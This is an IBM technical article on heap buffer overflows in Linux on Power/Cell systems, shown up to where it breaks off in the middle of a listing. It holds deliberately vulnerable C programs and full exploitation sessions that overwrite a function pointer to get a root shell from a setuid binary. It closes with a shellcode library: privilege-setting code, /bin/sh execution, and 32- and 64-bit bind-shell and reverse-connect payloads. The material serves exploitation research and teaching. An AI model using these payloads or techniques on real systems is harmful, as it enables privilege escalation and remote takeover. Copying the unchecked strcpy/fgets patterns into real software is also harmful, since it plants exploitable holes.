Skip to main content

LoP/Cell/B.E.: Buffer overflow vulnerabilities, Part 2: Discovering how buffer overflow mechanisms work for Linux on Power-based systems

Ramon de Carvalho Valle (rcvalle@br.ibm.com), Software Engineer, IBM
Ramon is a Software Engineer at the IBM Linux Technology Center in Sao Paulo, Brazil. He is a Founder/Security Researcher at RISE Security and has extensive experience in vulnerability research, exploitation techniques, exploit development, and reverse engineering on a wide range of operating systems and architectures. He also contributes to open source projects like The Metasploit Framework.

Summary:  Get acquainted with buffer overflow vulnerabilities in Linux® running on Power™/Cell Broadband Engine™ Architecture processor-based servers. Buffer overflows occur when a process tries to store data outside of the bounds of a fixed-length buffer. When that happens, all sorts of erratic system behavior can result, and some can be detrimental to your system's security. Part 2 of this article series shows how to overwrite a function pointer in 32- and 64-bit modes and illustrates assembly components through shell, network, and socket code samples. (Part 1 briefly discussed buffer overflows and the Power and Cell/B.E.™ architectures, and then showed how you can change the process-execution flow in the target systems and overwrite a local variable in 32- and 64-bit modes.)

View more content in this series

Date:  13 Jan 2009
Level:  Intermediate
Activity:  3360 views

In this two-part article series, all examples of buffer overflow vulnerabilities in Linux running on Power/Cell Broadband Engine Architecture processor-based servers were developed and executed on an IBM BladeCenter® JS22 Express server, an IBM BladeCenter QS21 server, and a Sony Playstation 3 running Red Hat Enterprise Linux 4 Update 7.

This installment further explores the buffer overflow topic by discussing how to overwrite a function pointer in 32- and 64-bit modes, shedding some light on assembly components, and providing shell, network, and socket code samples. Review Part 1 for a discussion of the causes and effects of buffer overflows.

Overwriting a function pointer in 32-bit mode

Arbitrary code can be executed by overwriting a function pointer. The example in Listing 1 is vulnerable to a heap-based buffer overflow:


Listing 1. example3.c (vulnerable to a heap-based buffer overflow)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct mystruct {
    unsigned char buffer[16];
    int (*myfunc)(const char *format, ...);
};

int
main(int argc, char **argv)
{
    struct mystruct *s;

    if ((s = malloc(sizeof(struct mystruct))) == NULL) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    s->myfunc = printf;

    if (argc > 1)
        strcpy(s->buffer, argv[1]);

    s->myfunc("Hello world!\n");

    exit(EXIT_SUCCESS);
}

The process' execution flow can be changed by overwriting the function pointer myfunc, member of struct mystruct, that is located right after the buffer in memory which is subsequently executed.


Listing 2. Overwriting the function pointer myfunc

$ gcc -Wall -o example3 example3.c
$ ./example3 AAAAAAAAAAAAAAAABBBB
Segmentation fault
$

Listing 3 represents the struct mystruct and its members in the heap segment after the overflow.


Listing 3. The struct mystruct after the overflow

Lesser                                                              Greater
addresses                                                         addresses

                         struct mystruct
                         buffer            myfunc
                         [AAAAAAAAAAAAAAAA][BBBB]

Bottom of                                                            Top of
heap                                                                   heap

Following is the GNU gdb analysis of the overflow.


Listing 4. GNU gdb analysis of the overflow

$ gdb example3
GNU gdb Red Hat Linux (6.3.0.0-1.159.el4rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "ppc64-redhat-linux-gnu"...
(no debugging symbols found)
Using host libthread_db library "/lib64/tls/libthread_db.so.1".

(gdb) r AAAAAAAAAAAAAAAABBBB
Starting program: /home/ramon/example3 AAAAAAAAAAAAAAAABBBB
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
0x42424240 in ?? ()
(gdb)

It results in a segmentation fault when trying to execute code at address 0x42424240 which points to an invalid memory location. The processor tries to execute code at 0x42424240 and not 0x42424242 as specified to maintain the four bytes long and word-alignment because whenever instruction addresses are presented to the processor (as in Branch instructions), the low-order two bits are ignored.

The following is the struct mystruct in heap segment after the overflow.


Listing 5. The struct mystruct in heap segment after the overflow

(gdb) x/20bx 0x10011008
0x10011008:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x10011010:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x10011018:	0x42	0x42	0x42	0x42
(gdb)

Heap allocations on Linux running on Power/CBEA-based processors begins at address 0x10011008. The following assembly components (or shellcodes) can be used to exploit this vulnerability.


Listing 6. Assembly components (or shellcodes) that exploit the vulnerability

char setuidcode[]=          /*  16 bytes                          */
    "\x3b\xe0\x01\xff"      /*  li      r31,511                   */
    "\x7c\x63\x1a\x78"      /*  xor     r3,r3,r3                  */
    "\x38\x1f\xfe\x18"      /*  addi    r0,r31,-488               */
    "\x44\xff\xff\x02"      /*  sc                                */
;

char shellcode[]=           /*  55 bytes                          */
    "\x3b\xe0\x01\xff"      /*  li      r31,511                   */
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
    "\x40\x82\xff\xf9"      /*  bnel+   <shellcode>               */
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
    "\x3b\xde\x01\xff"      /*  addi    r30,r30,511               */
    "\x38\x7e\xfe\x25"      /*  addi    r3,r30,-475               */
    "\x98\xbe\xfe\x2c"      /*  stb     r5,-468(r30)              */
    "\x94\xa1\xff\xfc"      /*  stwu    r5,-4(r1)                 */
    "\x94\x61\xff\xfc"      /*  stwu    r3,-4(r1)                 */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x1f\xfe\x0c"      /*  addi    r0,r31,-500               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "/bin/sh"
;

The NOP block technique can be used to increase chances of a successful exploitation. The preferred instruction for NOP operation in Power/CBEA-based processors is oril r0,r0,0 (0x60000000). However, the instruction mr r31,r31 (0x7ffffb78) is used in order to avoid zeros.

With this information, a moderated guess of heap address that possibly will contain a NOP instruction from the NOP block can be done (0x10011808).


Listing 7. Exploitation of code in Listing 9

# chown root. example3
# chmod +s example3

$ id
uid=500(ramon) gid=500(ramon) groups=500(ramon) context=user_u:system_r:
unconfined_t
$ ./example3 $(ruby -e 'print "A" * 16 + "\x10\x01\x18\x08" +
"\x7f\xff\xfb\x78" * 1024 + "\x3b\xe0\x01\xff\x7c\x63\x1a\x78\x38\x1f\xfe\x18
\x44\xff\xff\x02\x3b\xe0\x01\xff\x7c\xa5\x2a\x79\x40\x82\xff\xf9\x7f\xc8\x02
\xa6\x3b\xde\x01\xff\x38\x7e\xfe\x25\x98\xbe\xfe\x2c\x94\xa1\xff\xfc\x94\x61
\xff\xfc\x7c\x24\x0b\x78\x38\x1f\xfe\x0c\x44\xff\xff\x02/bin/sh"')
sh-3.00# id
uid=0(root) gid=500(ramon) groups=500(ramon) context=user_u:system_r:
unconfined_t
sh-3.00#

The following illustration represents the struct mystruct and its members in the heap segment after the overflow.


Listing 8. The struct mystruct after the overflow

Lesser                                                              Greater
addresses                                                         addresses

           struct mystruct
           buffer myfunc
           [DDDD][A][NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN][SSSSSSSS]
                  |                  ^
                  |__________________|

Bottom of                                                            Top of
heap                                                                   heap

D = Dummy value (A character)
A = Moderated guess of heap address that possibly will contain a NOP
    instruction
N = NOP instructions
S = Assembly components

Overwriting a function pointer in 64-bit mode

Now I'll talk about how arbitrary code can be executed by overwriting a function pointer in 64-bit mode. The Power 64-bit ELF ABI defines the concept of function descriptors which are contained in the .opd section of the ELF file.

Function descriptors are structures containing a pointer to the function, a pointer to the TOC section, and an environment pointer (used for languages such as Pascal). In a high-level language the value of a function symbol name is the address of a function descriptor instead of the address of the function. Symbol names beginning with a dot (.) prefix are reserved for the address of the function. The Power 32-bit ELF EABI does not define function descriptors.

The use of function descriptors by the Power 64-bit ELF ABI requires that changes be made to code that manipulates function addresses. In order to access function addresses, the following code can be used.


Listing 9. Accessing function addresses

int function_name(int arg1, int arg2);

typedef struct function_descriptor {
    void *addr;
    unsigned long toc;
    unsigned long env;
} f_desc_t;

function_address=(unsigned long)(((f_desc_t *)function_name)->addr);

This makes exploitation of the previous example different than in 32-bit mode -- no changes are required to port the previous example to 64-bit mode.


Listing 10. Overwriting the function pointer myfunc

$ gcc -Wall -m64 -o example4 example3.c
$ ./example4 AAAAAAAAAAAAAAAABBBBBBBB
Segmentation fault
$

The following illustration represents the struct mystruct and its members in the heap segment after the overflow.


Listing 11. The struct mystruct after the overflow

Lesser                                                              Greater
addresses                                                         addresses

                       struct mystruct
                       buffer            myfunc descriptor
                       [AAAAAAAAAAAAAAAA][BBBBBBBB]

Bottom of                                                            Top of
heap                                                                   heap

The following is the GNU gdb analysis of the overflow.


Listing 12. GNU gdb analysis of the overflow

$ gdb example4
GNU gdb Red Hat Linux (6.3.0.0-1.159.el4rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "ppc64-redhat-linux-gnu"...
(no debugging symbols found)
Using host libthread_db library "/lib64/tls/libthread_db.so.1".

(gdb) r AAAAAAAAAAAAAAAABBBBBBBB
Starting program: /home/ramon/example4 AAAAAAAAAAAAAAAABBBBBBBB
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
0x00000000100006f8 in .main ()
(gdb) x/i $pc
0x100006f8 <.main+148>:	ld      r0,0(r9)
(gdb) i r r9
r9             0x4242424242424242	4774451407313060418
(gdb)

This results in a segmentation fault when trying to load the function address from the function descriptor at address 0x4242424242424242 as specified which points to an invalid memory location.

In order to successfully exploit this vulnerability, the myfunc function descriptor must point to a valid memory location containing a fake function descriptor with its addr member pointing to a NOP instruction from the NOP block followed by the assembly components.

The following is the struct mystruct in heap segment after the overflow.


Listing 13. The struct mystruct in heap segment after the overflow

(gdb) x/24bx 0x10011010
0x10011010:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x10011018:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x10011020:	0x42	0x42	0x42	0x42	0x42	0x42	0x42	0x42
(gdb)

Keep in mind that heap allocations on Linux running on Power/CBEA-based processors in 64-bit mode begins at address 0x0000000010011010. This limits exploitation of such vulnerabilities to only when input data can contain zeros.

The following example is a modified version of the previous example vulnerable to a heap-based buffer overflow which reads data from a file, therefore it accepts zeros.


Listing 14. example4.c (it accepts zeroes)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct mystruct {
    unsigned char buffer[16];
    int (*myfunc)(const char *format, ...);
};

int
main(int argc, char **argv)
{
    struct mystruct *s;
    FILE *fp;

    if ((fp = fopen(argv[1], "r")) == NULL) {
        perror("fopen");
        exit(EXIT_FAILURE);
    }

    if ((s = malloc(sizeof(struct mystruct))) == NULL) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    s->myfunc = printf;

    fgets(s->buffer, 16384, fp);

    s->myfunc("Hello world!\n");

    exit(EXIT_SUCCESS);
}

Also, to exploit this vulnerability in 64-bit mode, 64-bit mode assembly components are needed.


Listing 15. 64-bit assembly components

char setuidcode[]=          /*  16 bytes                          */
    "\x3b\xe0\x01\xff"      /*  li      r31,511                   */
    "\x7c\x63\x1a\x78"      /*  xor     r3,r3,r3                  */
    "\x38\x1f\xfe\x18"      /*  addi    r0,r31,-488               */
    "\x44\xff\xff\x02"      /*  sc                                */
;

char shellcode64[]=         /*  55 bytes                          */
    "\x3b\xe0\x01\xff"      /*  li      r31,511                   */
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
    "\x40\x82\xff\xf9"      /*  bnel+   <shellcode64>             */
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
    "\x3b\xde\x01\xff"      /*  addi    r30,r30,511               */
    "\x38\x7e\xfe\x25"      /*  addi    r3,r30,-475               */
    "\x98\xbe\xfe\x2c"      /*  stb     r5,-468(r30)              */
    "\xf8\xa1\xff\xf9"      /*  stdu    r5,-8(r1)                 */
    "\xf8\x61\xff\xf9"      /*  stdu    r3,-8(r1)                 */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x1f\xfe\x0c"      /*  addi    r0,r31,-500               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "/bin/sh"
;

A fake function descriptors block containing only its addr member can be used followed by a NOP block to increase chances of a successful exploitation. The difference between the NOP block and the fake function descriptors block is fixed. If theses blocks are of the same size, then only one moderated guess should be done which is a pointer to a fake function descriptor (0x0000000010011810 -- this implies that address 0x0000000010012810 will contain a NOP instruction).


Listing 16. Exploitation of Listing 14

$ gcc -Wall -m64 -o example4 example4.c

# chown root. example4
# chmod +s example4

$ id
uid=500(ramon) gid=500(ramon) groups=500(ramon) context=user_u:system_r:
unconfined_t
$ ruby -e 'print "A" * 16 + "\x00\x00\x00\x00\x10\x01\x18\x10" +
"\x00\x00\x00\x00\x10\x01\x28\x10" * 512 + "\x7f\xff\xfb\x78" * 1024 +
"\x3b\xe0\x01\xff\x7c\x63\x1a\x78\x38\x1f\xfe\x18\x44\xff\xff\x02\x3b\xe0\x01
\xff\x7c\xa5\x2a\x79\x40\x82\xff\xf9\x7f\xc8\x02\xa6\x3b\xde\x01\xff\x38\x7e
\xfe\x25\x98\xbe\xfe\x2c\xf8\xa1\xff\xf9\xf8\x61\xff\xf9\x7c\x24\x0b\x78\x38
\x1f\xfe\x0c\x44\xff\xff\x02/bin/sh"' > exploit.txt
$ ./example4 exploit.txt
sh-3.00# id
uid=0(root) gid=500(ramon) groups=500(ramon) context=user_u:system_r:
unconfined_t
sh-3.00#

The following illustration represents the struct mystruct and its members in the heap segment after the overflow.


Listing 17. The struct mystruct after the overflow

Lesser                                                              Greater
addresses                                                         addresses

          struct mystruct
          buffer myfunc descriptor
          [DDDD][P][AAAAAAAAAAAAAAAA][NNNNNNNNNNNNNNNN][SSSSSSSS]
                 |         ^|                 ^
                 |_________||_________________|
                                   fixed

Bottom of                                                            Top of
heap                                                                   heap

D = Dummy value (A character)
P = Moderated guess of heap address that possibly will contain an address of
    NOP instruction (fake function descriptor)
A = Moderated guess of heap address that possibly will contain a NOP
    instruction
N = NOP instructions
S = Assembly components

Now let's take a closer look at assembly components.


Assembly components

The following assembly components—shell execution code, network server code, network connect code, and find socket code—are provided in the Code samples section for use in Linux on Power/CBEA processor-based proof of concept codes (see Resources). These assembly components are part of UNIX® Assembly Components for Proof of Concept Codes project:

  • Shell execution code (shellcode): It simply executes the /bin/sh program.
  • Network server code (bndsockcode): This code creates a listening TCP socket on a port defined at BNDSOCKPORT offset of bndsockcode routine (its value is set to 1234 by default). Upon accepting a connection, it duplicates the socket descriptor of the remote TCP endpoint to the process's standard descriptors (stdin, stdout, and stderr) and executes an interactive shell.
  • Network connect code (cntsockcode): This code establishes a TCP connection with a remote IP address and port defined at CNTSOCKADDR and CNTSOCKPORT offsets of cntsockcode routine (its values are set to 127.0.0.1 and 1234 by default respectively). Upon establishing a connection, it duplicates the socket descriptor of the remote TCP endpoint to the process's standard descriptors (stdin, stdout, and stderr) and executes an interactive shell.
  • Find socket code (fndsockcode): This code walks the process's descriptor table in a search for a socket descriptor of the remote TCP endpoint identified by a port number defined at FNDSOCKPORT offset of the fndsockcode. In a case in which an endpoint is located, the loop is terminated and found socket descriptor is duplicated on the process's standard descriptors (stdin, stdout, and stderr).

    Prior to executing the fndsockcode, a client software should establish a TCP connection with a process in which context the code is to be executed. Appropriate setting of the code data at FNDSOCKPORT offset of fndsockcode should be also made to assure proper identification of the client's connection.

Code samples


Listing 18. Shell execution code (shellcode)

char setresuidcode[]=       /*  24 bytes                          */
    "\x3b\xe0\x01\xff"      /*  li      r31,511                   */
    "\x7c\xa5\x2a\x78"      /*  xor     r5,r5,r5                  */
    "\x7c\x84\x22\x78"      /*  xor     r4,r4,r4                  */
    "\x7c\x63\x1a\x78"      /*  xor     r3,r3,r3                  */
    "\x38\x1f\xfe\xa5"      /*  addi    r0,r31,-347               */
    "\x44\xff\xff\x02"      /*  sc                                */
;

char setreuidcode[]=        /*  20 bytes                          */
    "\x3b\xe0\x01\xff"      /*  li      r31,511                   */
    "\x7c\x84\x22\x78"      /*  xor     r4,r4,r4                  */
    "\x7c\x63\x1a\x78"      /*  xor     r3,r3,r3                  */
    "\x38\x1f\xfe\x47"      /*  addi    r0,r31,-441               */
    "\x44\xff\xff\x02"      /*  sc                                */
;

char setuidcode[]=          /*  16 bytes                          */
    "\x3b\xe0\x01\xff"      /*  li      r31,511                   */
    "\x7c\x63\x1a\x78"      /*  xor     r3,r3,r3                  */
    "\x38\x1f\xfe\x18"      /*  addi    r0,r31,-488               */
    "\x44\xff\xff\x02"      /*  sc                                */
;

char shellcode[]=           /*  55 bytes                          */
    "\x3b\xe0\x01\xff"      /*  li      r31,511                   */
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
    "\x40\x82\xff\xf9"      /*  bnel+   <shellcode>               */
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
    "\x3b\xde\x01\xff"      /*  addi    r30,r30,511               */
    "\x38\x7e\xfe\x25"      /*  addi    r3,r30,-475               */
    "\x98\xbe\xfe\x2c"      /*  stb     r5,-468(r30)              */
    "\x94\xa1\xff\xfc"      /*  stwu    r5,-4(r1)                 */
    "\x94\x61\xff\xfc"      /*  stwu    r3,-4(r1)                 */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x1f\xfe\x0c"      /*  addi    r0,r31,-500               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "/bin/sh"
;

char exitcode[]=            /*  16 bytes                          */
    "\x3b\xe0\x01\xff"      /*  li      r31,511                   */
    "\x7c\x63\x1a\x78"      /*  xor     r3,r3,r3                  */
    "\x38\x1f\xfe\x02"      /*  addi    r0,r31,-510               */
    "\x44\xff\xff\x02"      /*  sc                                */
;


Listing 19. 64-bit shell execution code (shellcode)

char shellcode64[]=         /*  55 bytes                          */
    "\x3b\xe0\x01\xff"      /*  li      r31,511                   */
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
    "\x40\x82\xff\xf9"      /*  bnel+   <shellcode64>             */
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
    "\x3b\xde\x01\xff"      /*  addi    r30,r30,511               */
    "\x38\x7e\xfe\x25"      /*  addi    r3,r30,-475               */
    "\x98\xbe\xfe\x2c"      /*  stb     r5,-468(r30)              */
    "\xf8\xa1\xff\xf9"      /*  stdu    r5,-8(r1)                 */
    "\xf8\x61\xff\xf9"      /*  stdu    r3,-8(r1)                 */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x1f\xfe\x0c"      /*  addi    r0,r31,-500               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "/bin/sh"
;


Listing 20. Network server code (bndsockcode)

#define BNDSOCKPORT 58

char bndsockcode[]=         /*  223 bytes                         */
    "\x7f\xff\xfa\x78"      /*  xor     r31,r31,r31               */
    "\x3b\xa0\x01\xff"      /*  li      r29,511                   */
    "\x3b\x9d\xfe\x02"      /*  addi    r28,r29,-510              */
    "\x3b\x7d\xfe\x03"      /*  addi    r27,r29,-509              */
    "\x97\xe1\xff\xfc"      /*  stwu    r31,-4(r1)                */
    "\x97\x81\xff\xfc"      /*  stwu    r28,-4(r1)                */
    "\x97\x61\xff\xfc"      /*  stwu    r27,-4(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x02"      /*  addi    r3,r29,-510               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x7c\x7a\x1b\x78"      /*  mr      r26,r3                    */
    "\x3b\x3d\xfe\x11"      /*  addi    r25,r29,-495              */
    "\x3e\xe0\xff\x02"      /*  lis     r23,-254                  */
    "\x62\xf7\x04\xd2"      /*  ori     r23,r23,1234              */
    "\x97\xe1\xff\xfc"      /*  stwu    r31,-4(r1)                */
    "\x96\xe1\xff\xfc"      /*  stwu    r23,-4(r1)                */
    "\x7c\x36\x0b\x78"      /*  mr      r22,r1                    */
    "\x97\x21\xff\xfc"      /*  stwu    r25,-4(r1)                */
    "\x96\xc1\xff\xfc"      /*  stwu    r22,-4(r1)                */
    "\x97\x41\xff\xfc"      /*  stwu    r26,-4(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x03"      /*  addi    r3,r29,-509               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x97\xe1\xff\xfc"      /*  stwu    r31,-4(r1)                */
    "\x97\xe1\xff\xfc"      /*  stwu    r31,-4(r1)                */
    "\x97\x41\xff\xfc"      /*  stwu    r26,-4(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x05"      /*  addi    r3,r29,-507               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x06"      /*  addi    r3,r29,-506               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x7c\x75\x1b\x78"      /*  mr      r21,r3                    */
    "\x7f\x64\xdb\x78"      /*  mr      r4,r27                    */
    "\x7e\xa3\xab\x78"      /*  mr      r3,r21                    */
    "\x38\x1d\xfe\x40"      /*  addi    r0,r29,-448               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x37\x7b\xff\xff"      /*  addic.  r27,r27,-1                */
    "\x40\x80\xff\xec"      /*  bge+    <bndsockcode+148>         */
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
    "\x40\x82\xff\xfd"      /*  bnel+   <bndsockcode+172>         */
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
    "\x3b\xde\x01\xff"      /*  addi    r30,r30,511               */
    "\x38\x7e\xfe\x25"      /*  addi    r3,r30,-475               */
    "\x98\xbe\xfe\x2c"      /*  stb     r5,-468(r30)              */
    "\x94\xa1\xff\xfc"      /*  stwu    r5,-4(r1)                 */
    "\x94\x61\xff\xfc"      /*  stwu    r3,-4(r1)                 */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x1d\xfe\x0c"      /*  addi    r0,r29,-500               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "/bin/sh"
;


Listing 21. 64-bit network server code (bndsockcode)

#define BNDSOCKPORT 58

char bndsockcode64[]=       /*  223 bytes                         */
    "\x7f\xff\xfa\x78"      /*  xor     r31,r31,r31               */
    "\x3b\xa0\x01\xff"      /*  li      r29,511                   */
    "\x3b\x9d\xfe\x02"      /*  addi    r28,r29,-510              */
    "\x3b\x7d\xfe\x03"      /*  addi    r27,r29,-509              */
    "\xfb\xe1\xff\xf9"      /*  stdu    r31,-8(r1)                */
    "\xfb\x81\xff\xf9"      /*  stdu    r28,-8(r1)                */
    "\xfb\x61\xff\xf9"      /*  stdu    r27,-8(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x02"      /*  addi    r3,r29,-510               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x7c\x7a\x1b\x78"      /*  mr      r26,r3                    */
    "\x3b\x3d\xfe\x11"      /*  addi    r25,r29,-495              */
    "\x3e\xe0\xff\x02"      /*  lis     r23,-254                  */
    "\x62\xf7\x04\xd2"      /*  ori     r23,r23,1234              */
    "\x97\xe1\xff\xfc"      /*  stwu    r31,-4(r1)                */
    "\x96\xe1\xff\xfc"      /*  stwu    r23,-4(r1)                */
    "\x7c\x36\x0b\x78"      /*  mr      r22,r1                    */
    "\xfb\x21\xff\xf9"      /*  stdu    r25,-8(r1)                */
    "\xfa\xc1\xff\xf9"      /*  stdu    r22,-8(r1)                */
    "\xfb\x41\xff\xf9"      /*  stdu    r26,-8(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x03"      /*  addi    r3,r29,-509               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\xfb\xe1\xff\xf9"      /*  stdu    r31,-8(r1)                */
    "\xfb\xe1\xff\xf9"      /*  stdu    r31,-8(r1)                */
    "\xfb\x41\xff\xf9"      /*  stdu    r26,-8(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x05"      /*  addi    r3,r29,-507               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x06"      /*  addi    r3,r29,-506               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x7c\x75\x1b\x78"      /*  mr      r21,r3                    */
    "\x7f\x64\xdb\x78"      /*  mr      r4,r27                    */
    "\x7e\xa3\xab\x78"      /*  mr      r3,r21                    */
    "\x38\x1d\xfe\x40"      /*  addi    r0,r29,-448               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x37\x7b\xff\xff"      /*  addic.  r27,r27,-1                */
    "\x40\x80\xff\xec"      /*  bge+    <bndsockcode64+148>       */
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
    "\x40\x82\xff\xfd"      /*  bnel+   <bndsockcode64+172>       */
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
    "\x3b\xde\x01\xff"      /*  addi    r30,r30,511               */
    "\x38\x7e\xfe\x25"      /*  addi    r3,r30,-475               */
    "\x98\xbe\xfe\x2c"      /*  stb     r5,-468(r30)              */
    "\xf8\xa1\xff\xf9"      /*  stdu    r5,-8(r1)                 */
    "\xf8\x61\xff\xf9"      /*  stdu    r3,-8(r1)                 */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x1d\xfe\x0c"      /*  addi    r0,r29,-500               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "/bin/sh"
;


Listing 22. Network connect code (cntsockcode)

#define CNTSOCKADDR1 54
#define CNTSOCKADDR2 58
#define CNTSOCKPORT  62

char cntsockcode[]=         /*  183 bytes                         */
    "\x7f\xff\xfa\x78"      /*  xor     r31,r31,r31               */
    "\x3b\xa0\x01\xff"      /*  li      r29,511                   */
    "\x3b\x9d\xfe\x02"      /*  addi    r28,r29,-510              */
    "\x3b\x7d\xfe\x03"      /*  addi    r27,r29,-509              */
    "\x97\xe1\xff\xfc"      /*  stwu    r31,-4(r1)                */
    "\x97\x81\xff\xfc"      /*  stwu    r28,-4(r1)                */
    "\x97\x61\xff\xfc"      /*  stwu    r27,-4(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x02"      /*  addi    r3,r29,-510               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x7c\x7a\x1b\x78"      /*  mr      r26,r3                    */
    "\x3b\x3d\xfe\x11"      /*  addi    r25,r29,-495              */
    "\x3e\xe0\x7f\x00"      /*  lis     r23,32512                 */
    "\x62\xf7\x00\x01"      /*  ori     r23,r23,1                 */
    "\x3a\xc0\x04\xd2"      /*  li      r22,1234                  */
    "\x96\xe1\xff\xfc"      /*  stwu    r23,-4(r1)                */
    "\x96\xc1\xff\xfc"      /*  stwu    r22,-4(r1)                */
    "\x93\x61\xff\xfe"      /*  stw     r27,-2(r1)                */
    "\x7c\x35\x0b\x78"      /*  mr      r21,r1                    */
    "\x97\x21\xff\xfc"      /*  stwu    r25,-4(r1)                */
    "\x96\xa1\xff\xfc"      /*  stwu    r21,-4(r1)                */
    "\x97\x41\xff\xfc"      /*  stwu    r26,-4(r1)                */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x7d\xfe\x04"      /*  addi    r3,r29,-508               */
    "\x38\x1d\xfe\x67"      /*  addi    r0,r29,-409               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x7f\x64\xdb\x78"      /*  mr      r4,r27                    */
    "\x7f\x43\xd3\x78"      /*  mr      r3,r26                    */
    "\x38\x1d\xfe\x40"      /*  addi    r0,r29,-448               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "\x37\x7b\xff\xff"      /*  addic.  r27,r27,-1                */
    "\x40\x80\xff\xec"      /*  bge+    <cntsockcode+108>         */
    "\x7c\xa5\x2a\x79"      /*  xor.    r5,r5,r5                  */
    "\x40\x82\xff\xfd"      /*  bnel+   <cntsockcode+132>         */
    "\x7f\xc8\x02\xa6"      /*  mflr    r30                       */
    "\x3b\xde\x01\xff"      /*  addi    r30,r30,511               */
    "\x38\x7e\xfe\x25"      /*  addi    r3,r30,-475               */
    "\x98\xbe\xfe\x2c"      /*  stb     r5,-468(r30)              */
    "\x94\xa1\xff\xfc"      /*  stwu    r5,-4(r1)                 */
    "\x94\x61\xff\xfc"      /*  stwu    r3,-4(r1)                 */
    "\x7c\x24\x0b\x78"      /*  mr      r4,r1                     */
    "\x38\x1d\xfe\x0c"      /*  addi    r0,r29,-500               */
    "\x44\xff\xff\x02"      /*  sc                                */
    "/bin/sh"
;


Listing 23. 64-bit network connect code (cntsockcode)

#define CNTSOCKADDR1 54
#define CNTSOCKADDR2 58
#define CNTSOCKPORT  62

char cntsockcode64[]=       /*  183 bytes                         */
    "\x7f\xff\xfa\x78"      /*  xor     r31,r31,r31               */
